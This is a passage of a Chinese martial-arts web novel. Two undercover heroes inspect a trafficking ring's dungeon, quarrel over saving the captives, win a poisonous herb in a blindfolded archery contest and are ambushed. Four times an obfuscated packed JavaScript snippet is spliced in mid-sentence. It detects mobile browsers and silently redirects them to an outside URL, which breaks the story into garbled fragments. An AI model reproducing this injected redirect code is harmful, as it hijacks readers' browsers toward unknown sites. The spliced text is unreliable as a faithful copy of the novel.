岳强笑着起身,给双方做介绍:“这是庄子的管事人,你们叫他老羊就行了。这两个是新来的兄弟。这个叫许双,这个叫向玉。” “羊兄。”许萧两人起身拱手见礼。 “两位小兄弟不必多礼,坐!”老羊道。 几人都入座后,岳强进入正题:“这个月的收获怎么样?” “得了一只大虫、三头熊、五匹狼、七头梅花鹿和八只猪崽子。” 岳强面露惊喜:“不错啊你!” 许妙仪听不太明白,只知道他们说的是暗语。 岳强忽然想起这里还有两个新人,遂解释道:“大虫是精壮的男人,熊是稍次的,狼是少年,梅花鹿是女人,猪崽子是小孩儿。” 许妙仪倍感惊讶:“小孩……也有人要吗?他们也不能干什么活儿呀。” 老羊道:“有的是人要呢!他们可以当书童、当童养媳、当自家孩子的贴身奴婢……用处多着呢。” 许妙仪听来只觉心中泛起一阵恶心,但她面上不露分毫,点头作恍然状:“原来如此。” 萧韫又问:“这些人既是被拐来的,必定心怀怨恨,万一他们到了买家手里后,做出些杀人放火的勾当,岂不是会牵连到我们?” “这个你不用担心,郎君有法子能让他们变得无比听话。”岳强笑容中有几分得意,“这也是我们在这个行业能独占鳌头的原因。” “竟还有这样神奇的东西?岳兄可否具体说说,好让某长长见识?”萧韫趁热打铁地追问道。 岳强却摇了摇头,道:“具体的我也不清楚。” 萧韫知趣地没再问,心想:看来这条路‘道阻且长’啊…… 又聊了一阵后,老羊带着众人去饭厅用膳。 用完膳,老羊便起身走到正对门的墙壁前,伸手转动旁边木架上的花瓶,不多时便听得“嗒”的一声,墙壁上突出来一小块方体,侧面赫然有一个锁孔。 他从腰间掏出钥匙,插入锁孔一扭,随着“咔咔咔”的机关声,他脚边的部分地板竟自动收缩起来了,露出一个通向下方的漆黑甬道。 一行人拿着萤石进了甬道,在潮湿气息中不知前行了多久,才终于看到出现两点惨淡的光亮,依稀映出铁门的轮廓。 老羊拿钥匙打开铁门,伴随着一股恶臭扑面而来,视线豁然开朗。 正对着他们的是一条稍宽阔的甬道,甬道尽头的高处有一个小窗,倾出淡淡的月色。甬道两旁则是一排牢房,里头挤着数道人影。 见人来了,不少人扑到了栏杆上。霎时哭喊声响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020182|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作一团,皆是“求求你们放我出去”云云。 许妙仪一颗心几乎沉到了谷底。 老羊打开就近的一道牢门,里面的小孩纷纷往里头缩去,浑身抖如筛糠,眼中写满恐惧,活像一只只受伤的小兽。 “不要害怕,就是给你们做个小检查。”老羊道。 岳强率先走了进去,随手拉过一个小男孩。小男孩不过五六岁的模样,害怕得嚎啕大哭,拼命反抗。岳强不耐地“啧”了一声,直接“啪啪”几巴掌上去,小孩两颊登时出现两道鲜红的手印,嘴角也溢出血丝,两眼一翻晕了过去。 像对待一个牲畜。 可那明明,是一个活生生的人。 许妙仪此前做了许多心里准备,可此时此刻,她还是忍不住握紧了双拳。 然而就在这时,一只手搭上了她的肩头,厚重而温热,竟莫名像昨夜梦中兄长的安抚。 “冷静。”萧韫低低的声音在耳畔响起。 许妙仪点点头,深吸几口气,努力平复心情。 岳强把小男孩放倒在地上,扭回头来招呼萧韫和许妙仪:“你们过来,学学怎么验货。” “走吧。”萧韫又拍了拍许妙仪。 许妙仪抿了抿唇,硬着头皮走了进去。 …… 验完货从地牢里出来时,已经接近亥时了。 岳强嘱咐道:“明日辰初时就走,可千万不要迟了——对了,这里房间充裕,你们不用再挤了。” 许妙仪和萧韫的厢房是挨着的。 许妙仪考虑许久,终于下定决心,从后窗翻了出去,叩响了萧韫的窗子,低声道:“向兄,是我。” 很快,窗外从里头被打开。萧韫逆着身后暖色的光,神情模糊,声音含笑:“许兄今日如此主动?” 许妙仪严肃道:“你正经点儿,我要说的是正事。” “行,进来吧。”萧韫转身,在案边坐下,端过茶壶倒茶。 “我要救他们。”许妙仪进屋关好了窗子,开门见山道,“请萧兄助我一臂之力。” 萧韫倒茶的动作一顿,抬眼盯着许妙仪:“许兄认真的?” 许妙仪坚定点头:“我没有办法眼睁睁看着,一群活生生的人被就此断送。” 萧韫眸光渐渐冷了下去,语气是难得的郑重:“倘若我们第一次出任务就出‘意外’了,蓝钰就算不起疑心,也很难对我们再有欣赏。许兄,你难道要因小失大吗?” 许妙仪蹙眉:“你担心的不无道理,但我有一计,不但可以救下他们,还能让我们置身事外……” 萧韫打断:“我知道许兄聪明,一定能想出好法子。”说着,他把茶杯递到许妙仪面前,“但是没必要。” “没必要?”许妙仪不接,语气有些激动,“在你的眼中,那么多人命竟是轻飘飘的一句没必要?” 萧韫放下茶杯,道:“非也。人命自然是要紧的。但你如今出手施救,不过是治标不治本,这倒罢了。万一你此举影响到我们的大计怎么办?若你非要论人命,那某可以告诉你,只要蓝家多活一天,就可能又会有数十人遇难。如此,你也是罔顾人命了。” 许妙仪沉默了,唯有眸光晃动。 “为了最终的成功,难免是要舍弃一些东西的。”萧韫又道。 半晌,许妙仪站起身来,冷声道:“萧御史巧舌如簧,我说不过你,但我还是不能如同你的观点。我与你道不同不相为谋。这件事我自己去做,后果我自己承担。” 18.切磋 说罢,许妙仪毫不留情地转身就走。 没走出几步,身后便传来了萧韫冷冷的声音:“时至今日,你以为我们二人还能彼此独立吗?” 闻言,许妙仪步子一顿。片刻后,她缓缓道:“那么,我允许你对我下杀手。” 萧韫没想到她会这么回答,不由得怔了一下。 许妙仪很快离开了,室内重新静默下来,唯有烛火偶尔的“噼啪”声。 萧韫对着那杯茶水,默坐许久,眸色沉沉。 …… 翌日一早,许妙仪刚出房门,便听得旁边传来了开门的“吱呀”声。她下意识地循声看去,见萧韫正好跨出门槛。 察觉到了许妙仪的目光,萧韫偏头朝她看来。 萧韫漆黑的眸子平静无波,许妙仪的眼底亦是一片淡漠。 两道目光只相交一瞬,紧接着便迅速错开,仿佛是陌生人。 萧韫若无其事地往前院而去,许妙仪刻意等他走远了,才终于迈开步子。 来到正堂外,她一眼就看见了庭中停着三辆牛车,分别载着三个大箱子——若细看,便会发现这箱子侧面开着不少小孔。 许妙仪知道,这里面装的是那些将要被做成奴隶的人们。想到他们要像牲畜一样蜷缩在箱子里好几天,她的心就忍不住揪了一下,救人的念头也就更加坚定了。 老羊派出了三个车夫,随岳强等三人一同回阳泉。 当日午后,天色忽变,隐有落雨之势,一行人不得不在路边客栈临时歇脚。 几人同桌用饭,岳强和几个车夫相谈甚欢,没怎么注意到许萧两人的情绪异常。 酒还未过三巡,萧韫忽然起身:“我出去一会儿。” 岳强目露惊讶:“外头下着雨呢,你去哪儿?” “随便走走。”萧韫淡淡答道,快步往门口而去。 许妙仪望着他撑伞的背影消失在朦胧雨幕中,眸光微动。 半晌,她也站了起来,丢下一句“我去看看他”,拿过手边的伞匆匆出门。 此时天色还未黑透,她远远就看见一道正在舞剑的人影。 但见他身形矫健,手上剑走龙蛇,光芒耀耀。其势时如雷霆万钧,时如江海凝光。 许妙仪犹豫了一下,终究还是停住了步子。 不料,萧韫在连着几圈翻身挂剑后,猛然一个上挑,激起浪波一片。随即,长剑破开重重雨幕,直冲许妙仪面门而来! 许妙仪一惊,连忙丢开伞,拔剑抵御。 “铿”的一声,两人长剑相抵,震荡开一片细密雨珠。 剑光映亮萧韫因湿润而更加昳丽的眉眼,亦照出他眸底冷冷的笑意。 “你发什么疯?”许妙仪怒道。 萧韫唇角微勾,讽刺道:“许兄鬼鬼祟祟的,某还以为是不轨之徒呢。” 许妙仪有些恼了,冷笑一声,道:“我哪里鬼鬼祟祟了?” 萧韫不答,转而道:“来都来了,不若就切磋一番,如何?” “好啊。”许妙仪咬牙切齿地应下,猛然收势,迅速旋身到萧韫背后,抬剑欲刺。 萧韫的反应快,当即回身一挡,并大力往前一送。 许妙仪整个人被迫后退半步,虎口都被震得微微发麻。 紧接着,萧韫再度横剑扫来,带起凌厉的破空声。许妙仪也不含糊,全力迎战。 两人的剑光几乎舞出残影,声声铿锵有力,仿佛对方是不共戴天的仇人。 几乎是许妙仪的剑锋送到萧韫面前的同时,她的脖颈处传来一丝疼痛。 平局。 天色已然昏暗了下来,两人的面上都淌着雨,看不清彼此神情。他们也不说话,就这么无声对峙着,任由夜雨的洪流将他们吞没。 最后是许妙仪先开了口,她的声音在雨声中有些模糊:“你究竟为何而来?” 这件事她好奇许久了。 起初她觉得他是别有图谋,但经过这么些日子的同舟共济,她已然对他生出些许认同感。但昨夜一事,又让她内心大有动摇。 她想要一个答案。反正她都说出那样的话了,两个人的关系已然降到了冰点,还差她这一句质问吗? 萧韫的语气带着些许嘲弄:“许兄既要与我撇清关系,何必问这么多。” 许妙仪一噎,一时间不知道该说什么,不自觉握紧了剑柄。 但很快,萧韫又开口了:“你为何而来,我便为何而来。” “我为百姓而来,你莫非也是吗?”许妙仪讥讽道,“你别装了,就算我们不合作了,我也不可能去揭发你。” 因为萧韫同样掌握着她的秘密。 萧韫轻嗤一声,反问:“某为何不能是?” “心怀百姓的人,不会做出你那样的选择。”许妙仪道。 “某已经说过,要想成事,流血牺牲总是在所难免的。”萧韫声音很冷,比秋雨还要刺骨三分。 “我也已经说过,我有兼顾二者的法子,可是你却不愿意走这一招,觉得它是步险棋。”许妙仪说着说着,语气就不由染上愤恨,“你看似是谨慎,实际上却是上位者纵观全局的冷漠!” “他们的生死分明还未成定局,分明是有转圜的余地的,你为何要轻言放弃?牺牲不可避免,这话没错。可难道就能因此理所应当地放弃他们的生机吗?”她字字掷地有声,透着比轰隆雨幕还要沉重的力量。 愤怒之后,她心中涌起无限悲哀,鼻中有些发酸。 她在战场上看过太多太多的死亡了,有她的祖父、父母、兄长、朋友,还有许许多多她不太熟悉,但也同样鲜活着的生命。 常有人说,战场上的将士杀人如麻,早就把心练得如铁一般冷硬。 她想说这是错的。战争带给她的并不是冷漠,而是一颗对生命更加珍视的心。所以只要有机会,她就绝不会放弃任何一条无辜的生命。 无独有偶,对面的萧韫也同样陷入了沉思。 他想起了很久很久之前的一件事。大概是十六年前,他五岁的时候。 那时候,天下未定,群雄逐鹿,他跟随着父兄们四处征战。 那时候,他最崇拜的兄长正是他如今这个年纪,是意气风发的少年将军,战功赫赫,名震四方。 那时候,他读书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037523|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不多,有一次竟称赞兄长是封狼居胥的霍去病再世。长辈们笑着说,霍去病虽然功业辉煌,但英年早逝,故而不宜以“霍去病再世”夸人。 幼年萧韫懵懂地点了点头,怎么也没想到,他会一语成谶——兄长在一次战役中重伤,性命垂危。 等兄长好不容易脱离了生命危险,敌军却打了过来。他的父亲作为主帅发出命令,要求立即撤退。为了不耽误行军速度,父亲还要求杀死所有重伤患者,以免他们落入敌手。 包括兄长。 父亲告诉他:“不破不立,没有楚霸王的破釜沉舟,就不可能有巨鹿之战的胜利;没有流血牺牲,就不可能有太平盛世的到来。你不要难过,你要记住你兄长的死,记住,他是为天下百姓而死。” 五岁的萧韫不理解这番话,但二十一岁的萧韫理解了。 如今许妙仪的几句话,仿佛又将他带回多年前的那个夜。透过许妙仪的眼睛,他似乎看见了当年哭求父亲的自己。 是啊,其实当时的军情并没有紧急到火烧眉毛的程度,但父亲为了确保撤退顺利,才发布这样的命令。或许,兄长还有一线生机…… 这时,许妙仪冷笑着开口了:“无话可说了是吗?” 萧韫回过神来,启唇欲辩,却忽然滞住了——他竟无言以对了。 “之前是我看错了你。待此间事毕,他日江湖再见,我一定会杀了你。”许妙仪利落收剑,转身往回走。 萧韫深吸一口气,亦收剑回鞘。他本不欲跟上许妙仪,却忽然想起了什么,出声喊道:“等等。” 许妙仪顿住了步子,却并不回头:“怎么?” “你的脸。” 方才他们一时情绪上头,居然都忘记了这件事。 许妙仪冷哼一声,道:“我自有办法,不劳御史大驾。” 目送着许妙仪的身影消失在雨幕深处,萧韫默默地闭上眼,并缓缓仰起了头。 许妙仪绕到了客栈后头,从院墙翻了进去,又灵活地爬上了自己房间的窗户,完美地避开了众人。她换好衣服,补好胎记,绞干头发便熄灯睡了。 而一墙之隔,萧韫却是一夜无眠。 此后的三日行程里,萧许两人没再有交流。 许妙仪又重新讨厌上了萧韫,对他自然是横眉冷对、视而不见。 萧韫的情感则复杂上许多,连他自己都有些说不清。 第四天的清晨,一行人终于抵达阳泉。 当日午后,许妙仪借口身体不适,外出买药。 她确实是去买药的,买一种名为“蛮连”的毒草。可惜她跑遍了东城区的药铺,都没能买到,大多数掌柜都说没听过这种药。 碰壁无数,她心情沉重无比,心想这药草莫非是灭绝了? 好在她没有放弃,最后终于有一个老者为她解惑:“它现在不叫蛮连,叫飞夏草。数量少,而且只生在密林之中,一般药铺是没有卖的。你或许……可以去黑市看看。” 许妙仪无比感激地谢过老者,打定主意要去黑市转一转。 除此之外,她还有一个意外收获——有个毛贼一直跟踪她。 19.牵手 起初她没大注意,但见的次数多了,她也就渐渐生出了疑心。此时此刻,她无比确信,这人就是在跟踪她。 莫非是……蓝钰的人? 许妙仪心下一沉,思索片刻,快步拐进一处小巷。 不远处假装看风景的李梧见了,心生犹疑,最终还是提步跟了上去。 这巷子没有岔路,越往里走越冷清,李梧渐渐觉得有些不对劲。 倏地,背后袭来一阵寒意,李梧当即转身拔剑抵御。“铿”的一声,两枚飞镖卸力委地。 紧接着,树上飞下来一个人影,持剑直冲李梧面门而来。 李梧连忙避开,定睛一看,见那人正是许妙仪,不禁心头大震。 许妙仪不发一言,又抬剑攻来,其势迅猛,步步都是杀招。李梧很快就败下阵来,被她一剑架上了脖颈。 “你是谁?为什么跟踪我?”许妙仪沉沉盯着他,冷声质问。 李梧闻言,眼中掠过一丝慌张,随即勉强一笑,道:“这位娘子,这恐怕是个误会……” 许妙仪眯起眼,幽幽道:“你的口音,倒与我一位朋友有些相似啊。” 李梧一怔。 “是姓萧的派你来的,是不是?”许妙仪眸光一凛,溢出几分杀气。 “不是!”李梧连忙道。 许妙仪冷笑:“看来就是他让你来的。” 李梧:“……” “他为何让你跟踪我?”许妙仪又问。 李梧不答,闭眼抿唇,一副视死如归的模样。 “不说?”许妙仪冷笑一声,“好啊,既然你如此忠心,那我就成全你的美名。” * 回到镖局,许妙仪立即去找萧韫。尽管她已经努力遏制,却还是一派气势汹汹的模样。 萧韫正和几个人玩着叶子牌,忽听对面的人叫了一句“许兄弟”。他动作一顿,眉头微蹙,却并不回头。 许妙仪在萧韫身后不远处站定,冷冷盯着他,皮笑肉不笑:“向兄,我有话要与你说。” 萧韫眼底翻涌起复杂情绪,很快,他低低叹了一口气,敛起情绪,站起身来。 许妙仪冷哼一声,转身便走,萧韫默默跟了上去。 两人回到房间,萧韫顺手关上房门,还没转过身,便觉背后有东西袭来。他下意识地抬手接住,仔细一瞧,发现这是一片袍角,且正是属于他的侍卫李梧的。 “你可别说你不认识这东西。”许妙仪幽幽道。 萧韫把袍角收入袖中,唇畔扯出一个苦涩的笑:“某只不过是担心许兄的安危,许兄何必如此激动?” “你总是爱说些冠冕堂皇的话。”许妙仪语气讥讽,“你难道就不关心一下你的好属下吗?他可是为了你誓死不肯吐露一个字呢,真是好忠心呢。想必你也是爱才的人,若你今日不给我一个交代,我就杀了他。” 萧韫见许妙仪眸中杀意不似作伪,无奈地轻叹一声,道:“某让他跟着你,是为了保护你。” 许妙仪嗤笑道:“你以为我会信吗?” 萧韫垂着眼睫,声音轻而缓:“其实这些天,某一直在反思。或许,某真的错了。但某一时不知如何开口,便只好让侍卫替某陪着许兄。” 许妙仪听得起了一身鸡皮疙瘩,强忍着揍人的冲动,眯眼仔细观察萧韫的神情,企图找出破绽来。 萧韫又抬眼朝许妙仪看来,一双黑眸竟意外晃着诚挚的光:“某希望能与许兄继续合作。” “我如何相信你?”许妙仪很是警觉。 萧韫默了半晌,走到许妙仪面前。接着,他掏出匕首。 许妙仪心中警铃大振,当即就要退开,不料萧韫竟一把抓起她的右手。 一时间,许妙仪又惊又恼。覆盖在手上的、来自另一个人的温度过分灼热,让她下意识想逃离。 但在她逃离之前,萧韫迅速把匕首塞到她手中,随即握着她的手,带着她把刀尖抵在他的心口上。最后,他松开了手。 许妙仪怔了一下,紧接着眸中泛起滔天波澜。 此时此刻,只要她稍一用力,就能杀了他。 所以,他是在以性命证明他的真心。 “如此,你可相信了?”萧韫轻柔的声音应时响起。 那一刻,要说许妙仪没有丝毫触动是假的。但很快,她清醒过来,上下打量萧韫一番,道:“你里头穿软甲了?” 萧韫:“……” 他唇角微抽:“某在许兄眼中就是这样的人?” 许妙仪不说话,只盯着萧韫的眼睛。 四目相对之间,周遭忽然万籁俱寂,而对方的一举一动、一呼一吸都在他们眼中、耳中无限放大,甚至仿佛能透过匕首,感知到彼此的心跳。 半晌,许妙仪唇角忽然勾起一个莫名的弧度,手上用了几分力,刀锋微微下陷。 伴随着一点血色洇出,萧韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044856|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低低闷哼一声。 许妙仪停住动作,眸光微晃。很快,她松开手,匕首“哐啷”一声落地。 “罢了,就相信你这一次。”许妙仪说着,转身在案边坐下,“你那个侍卫被我捆起来吊到树上去了,你记得去领人。” 萧韫眸中掠过一抹笑意,悄然收起指间蓄势待发的石子。他捡起匕首,将它重新收回袖中,在许妙仪对面坐下,又为她斟了一杯茶:“自会有其他人去救他的——许兄可否说说你的计划?” 许妙仪娓娓道来:“我知道一种毒草,其毒发症状与鼠疫相似,寻常医者很难分辨。但从本质上来说,它的毒是没有传染性的,且是可以治愈的。” “如果把毒草汁液混进奴隶们的饮食中,造成瘟疫蔓延的假象,蓝钰绝不会要他们。且这么一来,就算要治罪,首当其冲的也是那些猎手。” 萧韫颇感意外,挑眉道:“许兄竟如此博学广识。” 许妙仪笑了一下,垂下眼睫,遮住眼底涌动的哀伤。 这都是以鲜血换来的经验。 那一年,敌军在水源中下了这种毒。所有军医都说是鼠疫,是治不好的。 她作为主帅,为了减少损失,不得不做出裁决,令人暗中处决所有“患病”将士。 直到后来,敌方兵败,首领被擒。大概是为了恶心她,首领在临死前告知了她真相…… “所以许兄今日是去找这种药草了?可有收获?”萧韫又问。 许妙仪被拉回现实,如实告知今日收获。 “黑市?”萧韫若有所思,“那我们得乔装过去,很大一部分奴隶生意就是在那里做的。” 许妙仪点头赞同。 当夜,他们乔装改扮,摸黑溜出了镖局,直奔“黑市”。 “黑市”是一处位于地下的交易场所,燃有大量烛火,通明如昼。两壁依山而建着不少楼阁,街上人头攒动,颇为热闹。若是不去抬头看那怪奇嶙峋的岩顶,此处还真是与外界无异。 “据说这里原本是战国矿洞的遗址,起初只有一些无家可归的人在那里栖身。后来,不知从何时起,有人在这里进行秘密交易,逐渐形成了黑市。人命、宝物、消息,只要你想,都能在这里买到。” 戴着鬼脸面具的萧韫为同样戴面具的许妙仪解说。 “你消息还挺灵通。”许妙仪道。 萧韫正欲开口,却忽有一个人冲出来拦住了他们的路。 20.抢夺 两人循声看去,只见一个蓝袍青年正信步入内,身后还跟着两个配剑的玄衣侍从。青年普通的脸上满是倨傲,目光径直越过萧许两人,看向掌柜:“这飞夏草我要了,我出他们两倍的价格。” 掌柜顿时眉开眼笑:“好嘞。” 许妙仪闻言,勃然大怒:“怎么有你这样做生意的?!” “二位,不好意思了,我们方才的交易还没成,这飞夏草还不是你们的。”掌柜淡定而疏离地微笑,语气中没有半分歉意。 这一番敷衍的解释让许妙仪更加气恼,右手直接按上剑柄,竟是有拔剑砍人的冲动。 一旁的萧韫见状,连忙伸手拦在许妙仪身前,同时对掌柜道:“无论这位郎君出多少,我都会出他的两倍。” 许妙仪惊讶地看向萧韫,随即又目露几分感慨——他有时候还是挺有用的嘛。 青年得意洋洋的表情瞬间凝固了。 掌柜两眼放光,态度又来了个大转弯,笑得一张脸上挤满了褶子:“哎哟,好嘞,我这就给您包起来!” “等等!”青年沉声道,“掌柜的,你可要想清楚了,我是剑玄楼的人,此番是奉少主之名前来购药!”说着,他举起一块铁质令牌,上面雕着一个“玄”字。 掌柜见了,赶忙换上一副谄媚的笑:“哎哟,原来是陈少主身边的人……” 青年得意地冷哼一声:“现在,你知道该卖给谁了吧?” “这……”掌柜满面为难。明明是深秋时节,他额上竟渗出了细密的汗珠。 “剑玄楼是一个江湖帮派,在青州一带颇有名声。”萧韫低声对许妙仪解释。 许妙仪点点头,下一刻却又大声发问:“剑玄楼是什么?”她的语气看似十分真诚,却又有些挑衅的意味。 青年嫌弃地瞥了许妙仪一眼,嗤道:“土鳖,连我们剑玄楼都不知道?” 许妙仪冷笑一声,反唇相讥:“又不是什么为国为民的忠臣良将,你们有什么值得让人知道的?” “你!”青年一张脸登时涨得通红,气急败坏道,“你找死是不是?!” “怎么?想打一架,行啊,正好我手痒。”许妙仪冷笑中带着几分挑衅。 她是真的想揍他们一顿了。 然而就在这时,一道浑厚低沉的男声响起:“吵吵什么呢?” 众人循声看去,只见一个高壮男人从里间走了出来。他提着一把大刀,面上横亘着一道狰狞长疤,一双鹰目炯炯有神。 掌柜如见救命菩萨,连忙迎了上去:“哎哟,威爷!您可算来了!” “威爷”把大刀立在地上,发出“砰”的沉重一声。他扫视一圈,沉声问:“怎么回事?” 掌柜把两方抢药的事从头说了一遍,又低声道:“我想着,既不能跟剑玄楼过不去,却也不能跟钱过不去啊,所以一时不知如何是好……” 威爷听罢,对青年抱拳道:“原来是陈少主的人,失敬失敬。” 青年亦拱手回礼,头颅却仍是倨傲地微仰着。 威爷眸中划过一抹不悦,却并没有发作,只道:“剑玄楼的面子我们不敢不卖,先来的顾客我们也不好亏待。既如此,那就按我们阳泉黑市的规矩来办:你们比试一番,谁赢了,谁就带走这飞夏草。诸位意下如何?” 他特地强调了“我们阳泉”四字。 青年面色微变,似乎也意识到了什么。他深吸一口气,敛下情绪,应道:“行,比就比!” 许妙仪虽有怨言,但眼下也没别的法子,只好点头应下。 萧韫也答应了,问:“比试什么?” 威爷的目光在双方身上来回半晌,缓缓开口:“蒙眼射箭,移动靶子,如何?” 青年面露惊喜,立刻应道:“好啊!” 许妙仪和萧韫也表示同意。 “那你们随我来。”威爷转身往里间走。 众人随威爷来到后院。这后院很是空阔,约莫有三丈长,两丈宽。 威爷命人取来两张弓、两条黑布以及三个拳头大的木球,又道:“三局两胜,每次派一个人。” 许妙仪和萧韫猜拳决定,结果是萧韫先上场。 对方上场的是那蓝袍青年。他大步流星,唇畔挂着势在必得的笑容。 两人接过弓和布条,走到一侧院墙下站定,又蒙上眼睛。 威爷走到另一侧,高声喊道:“准备了!” 萧韫和青年弯弓搭箭,弓弦紧绷如满月,隐隐发出“咯咯”的响声。 威爷掂了掂手上的木球,用力朝上抛出。 青年敏锐地捕捉到声音,迅速将箭头对准方向,手指一松。 伴随着弓弦振动的嗡嗡声,他信心百倍地摘下布条,然而却听威爷道:“面具郎君获胜。” “这怎么可能?!”青年霎时变了脸,不可置信地大叫起来。他的箭术是剑玄楼中数一数二的,怎么可能会输? 威爷道:“他的箭更快些。” 萧韫扯下眼上布条,先是故作惊讶:“居然是某赢了?” 接着,他又对着青年拱手微微一拜:“必定是兄台让步了,某感激不尽。”他话虽这么说,语气中却没有半分谦虚,反而是满满的讥讽之意。 青年面色更加难看了,双唇紧抿成一条直线。 远处的许妙仪见了,忍俊不禁,心想:萧韫这厮贱兮兮的劲儿某些时候还是挺有用的嘛。 “第二轮,你们可要换人?”威爷又问。 “不换,我方才没太发挥好。”青年道。 萧韫则走了下去,换许妙仪上场。 许妙仪率先蒙上眼睛,随后从箭筒中拿了两支箭。她正准备将其搭上弓弦,却听一旁的青年嗤笑道:“不自量力。” 她冷笑一声,道:“话可别说得太早。” 青年张口还想说些什么,但这时威爷开口催促了,他只好暂时敛下情绪,蒙眼弯弓搭箭。 威爷抛出木球,青年的箭矢当即脱弓而出,速度比先前快了不少,直掠起咻咻破空声。 许妙仪等听见青年射箭的动静,方送箭离弦。这两支箭的速度快到几成残影,其中一支径直冲向木球,而另一支竟是……朝青年的箭矢而去! “咔咔”两声,只见一支箭击穿木球的同时,另一支竟直直将青年的箭拦腰斩断! 在场众人皆是目瞪口呆,就连威爷都忍不住叫了一声“好”。他高声宣布:“面具郎君胜!胜负已分,第三局不必再比了!” 青年听见这句话,连忙摘下布条,正欲开口质疑,目光却先一步落在了远处断成两截的箭矢上。他愣了一下,随即很快就明白了个大概,面色由红转白又转青。 许妙仪解下布条,笑盈盈地看向青年,用只能两个人听见的声音道:“当年我百步穿杨时,你祖宗还没生呢。”说罢,她将头一扭,大步往回走。 青年只当她是在侮辱自己,一时气得说不出话来,双眼几欲喷火。 威爷一面吩咐人去取飞夏草,一面笑呵呵地夸赞许妙仪:“这位郎君的功夫真是不得了啊!实在叫我佩服不已……” “过誉过誉……”许妙仪笑得谦虚。 远处的青年瞧着这画面,面色阴沉得几乎能滴出水来,冷冷从牙缝中挤出一个“走”,拂袖而去。 走出百草堂,许妙仪的心情简直畅快极了。 “许兄真是技比吕布啊,叫某自愧不如。”萧韫含笑叹道。 许妙仪不禁愣住了:吕布是谁?历史人物吗?之前在梧镇的日子,她才把史书读到汉光武帝…… 萧韫敏锐地捕捉到了许妙仪眼中的迷茫,不禁心生诧异。他微微眯眼,试探着问:“许兄,你不会不知道吕布吧?” 许妙仪搪塞道:“我当然知道了!只是许久没读史书了,竟一下子没想起来。” 萧韫“哦”了一声,尾音拖得老长。 许妙仪知道他是不相信自己,却也明白“多说多错”,索性道:“懒得与你多说!” 说罢,她加快了步子,把萧韫甩在身后。 萧韫轻笑一声,也没追上去,就这么不远不近地跟在许妙仪身后。 两人出黑市已是亥时了,街道上灯火阑珊、人烟稀少。 倏地,前方两侧巷口窜出数道黑影,径直朝萧许两人而来,气势汹汹。 许妙仪心弦骤然紧绷,猛地顿住步子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081189|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她回头看去,只见后方竟也有两排黑影鱼贯而来! 她和萧韫交换了一个警惕的眼神,随后迅速朝彼此靠拢,背对而立,拔剑做好战斗准备。 顷刻间,两人就被黑衣人团团围住。这些黑衣人与剑玄楼侍卫的打扮如出一辙,少说也有二十人。 包围圈分出一个口子,蓝袍青年从中悠悠踱步而出,看向萧韫和许妙仪的眼中满是得意与讥讽:“把飞夏草交出来,再给我磕几个响头,我可以勉强饶你们一命。” 许妙仪“呸”了一声,道:“别废话,直接开打吧。” “冥顽不灵。”青年低沉道,“你们会……” 他话音未落,许妙仪便直接抬剑朝他刺去。 青年连忙退开,旁边的侍卫迎了上来,一场战斗就此拉开帷幕。 剑光交错,萧韫和许妙仪以少敌多,却始终占据上风。 直到一声哨声忽然响起,黑衣人纷纷抽身后退,同时一个半个拳头大的圆球朝萧许两人飞来。两人侧身避开,不料圆球落地之时,大量黑色烟雾迅速从中弥漫开来。 萧许两人猝不及防,连忙屏住呼吸,视线很快变得一片漆黑。 紧接着,四面八方炸响一片锣声,嘈杂无比,直刺得人耳膜生疼。 许妙仪先是不解,随即心头猛然一跳——对方这是要断掉他们最重要的两感,将他们圈杀其中啊! 果不其然,她思绪刚落,大腿上便传来一阵刺痛,似乎是被什么锋利的东西刮到了。 与此同时,萧韫的胯上直接中了一箭。他倒吸一口凉气,连忙抬手向上空射出一枚鸣镝。 “动起来!”许妙仪低声道。 话语刚落,她的手便被一个人握住了,耳畔响起萧韫的声音:“某正想说,我们还真是心有灵犀。” 许妙仪:“……” 她明白牵手是为了不误伤彼此,便也没说什么。 为了尽量保证全方位的防御,两人仍保持着背靠背的姿势,不断挥舞着剑。 他们的运气还算不错,虽然中了好几箭,但都不是关键部位。 